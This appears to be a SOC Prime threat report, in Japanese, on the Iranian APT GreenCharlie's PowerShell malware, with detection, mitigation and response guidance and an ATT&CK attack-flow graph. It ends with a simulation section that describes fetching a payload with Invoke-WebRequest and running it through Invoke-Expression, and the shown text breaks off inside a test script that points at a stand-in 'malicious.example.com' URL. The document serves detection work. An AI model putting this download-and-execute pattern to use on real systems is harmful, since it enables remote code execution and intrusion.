SOC Prime Bias: クリティカル

12 11月 2025 17:00

GreenCharlie: イランに支援されたAPTによるPowerShellエクスプロイトに関するSOCレポート

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
GreenCharlie: イランに支援されたAPTによるPowerShellエクスプロイトに関するSOCレポート
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

GreenCharlie PowerShell エクスプロイト概要

GreenCharlieは、イランを拠点とするAPTグループで、複数段階のPowerShellマルウェアファミリー(GORBLE、TAMECAT、POWERSTAR)を使ってサイバースパイ活動を行っています。このグループはフィッシングのために多くの動的DNSドメインを登録し、カスタムBase64とビット演算による難読化されたPowerShellスクリプトを使用し、HTTPS POSTを介してC2サーバーと通信します。活動は2024年5月から8月にイランのIPとVPNサービスを使ってトラフィックをマスクしながら急増しました。

調査

グループに関連付けられた既知のDDNSドメインやIP範囲(例: *.ddnsgeek.com, *.dns-dynamic.net)への接続のネットワークトラフィックを分析します。Base64デコードの後にビット演算NOT操作を実行するPowerShell実行チェーンや、ScriptBlock.CreateまたはInvoke‑Expressionを呼び出すスクリプトを探します。プロセスインジェクションや復号されたペイロードのメモリ内実行を監視します。アラートをATT&CK技術 T1583.001, T1566.002, T1059.001, T1568と関連づけます。

緩和策

厳格なPowerShellのログ記録(ModuleLogging、ScriptBlockLogging)を実装し、制約言語モードを強制します。既知のDDNSプロバイダーや疑わしいTLD(.info, .xyz, .icu, .network, .online, .site)へのトラフィックをブロックまたはプロキシします。DNSサンドボックス化とフィッシングドメインのURLフィルタリングを展開します。エンドポイント検出と応答(EDR)ソリューションを使用して難読化されたPowerShellスクリプトやメモリ内AES復号を検出します。サービスアカウントに対する最小権限を強制し、不必要なリモート実行ツールを無効にします。

GreenCharlie脅威への対処

インジケーターが検出された場合、影響を受けたホストを隔離し、揮発性メモリをキャプチャし、PowerShellログを収集します。復号されたペイロードを抽出し、C2サーバーを特定するためにフォレンジック分析を行います。侵害された資格情報を取り消し、秘密をローテーションし、関連するスケジュール済タスクや持続性メカニズムを削除します。関連するISACsとIOCs(ドメイン、IP、ハッシュ値)のサイバー脅威インテリジェンスを共有し、検出ルールを更新します。

graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef process fill:#ccffcc classDef data fill:#f0e68c %% Nodes start[“<b>開始</b>: 初期実行トリガー”] class start action tech_execution[“<b>Technique</b> – T1059.001<br /><b>PowerShell</b>: ペイロードをダウンロードするためにスクリプトを実行”] class tech_execution technique process_download[“<b>プロセス</b>: 第2段階ペイロードをダウンロード”] class process_download process tech_obf1[“<b>Technique</b> – T1027.008<br />ストリップされたペイロード(Base64 + NOT)”] class tech_obf1 technique tech_obf2[“<b>Technique</b> – T1027.014<br />多態コード(バリアントエンコーディング)”] class tech_obf2 technique tech_decode[“<b>Technique</b> – T1140<br />ペイロードのデコード/難読化解除”] class tech_decode technique tech_dns[“<b>Technique</b> – T1071.004<br />DNS アプリケーション層プロトコル”] class tech_dns technique tech_dga[“<b>Technique</b> – T1568.002<br />ドメイン生成アルゴリズム(DGA)”] class tech_dga technique tech_web[“<b>Technique</b> – T1102.002<br />HTTPS 双方向 Web サービス”] class tech_web technique tech_encrypt[“<b>Technique</b> – T1573<br />AES 暗号化チャネル”] class tech_encrypt technique data_exfil[“<b>データ</b>: システム情報(OS、コンピュータ名)”] class data_exfil data tech_exfil[“<b>Technique</b> – T1041<br />C2 チャネル経由のデータ流出”] class tech_exfil technique %% Connections start –>|トリガー| tech_execution tech_execution –>|ダウンロード| process_download process_download –>|難読化に使用| tech_obf1 process_download –>|適用| tech_obf2 process_download –>|デコード| tech_decode tech_decode –>|通信経路| tech_dns tech_dns –>|使用| tech_dga tech_dns –>|通信経路| tech_web tech_web –>|暗号化方式| tech_encrypt tech_encrypt –>|転送| data_exfil data_exfil –>|送信経路| tech_exfil

攻撃フロー

ペイロードシミュレーション手順

  • 攻撃の流れとコマンド:

    ステージ1 – 悪意あるローダーを取得:
    攻撃者は Invoke-WebRequest を使って、C2サーバーから GORBLE.ps1 という名前のPowerShellスクリプトをダウンロードします。ステージ2 – ペイロードのエンコード:
    ダウンロードされたスクリプトには悪意あるペイロードが含まれています。攻撃者はスクリプト全体をbase64でエンコードし、変数に格納します $x.ステージ3 – 高リスクなcmdletを通じた実行:
     Invoke-Expressionを使って攻撃者は $x をその場でデコードして実行し、GORBLEフレームワークを呼び出します。ステージ4 – 水平移動 (オプション):
    ペイロードは後で、リモートホストで第二段階のPowerShellコマンドを起動するために、ビット演算NOTで難読化された文字列を使って ScriptBlock.Create を呼び出すかもしれません。
  • 回帰テストスクリプト:

    # -------------------------------------------------
    # GreenCharlie APT PowerShell Framework Simulation
    # -------------------------------------------------
    
    # 1. Simulate download of the malicious framework (keyword GORBLE)
    $maliciousUrl = "http://malicious.example.com/GORBLE.ps1"
    $downloaded = @"
    # GORBLE - simulated malicious payload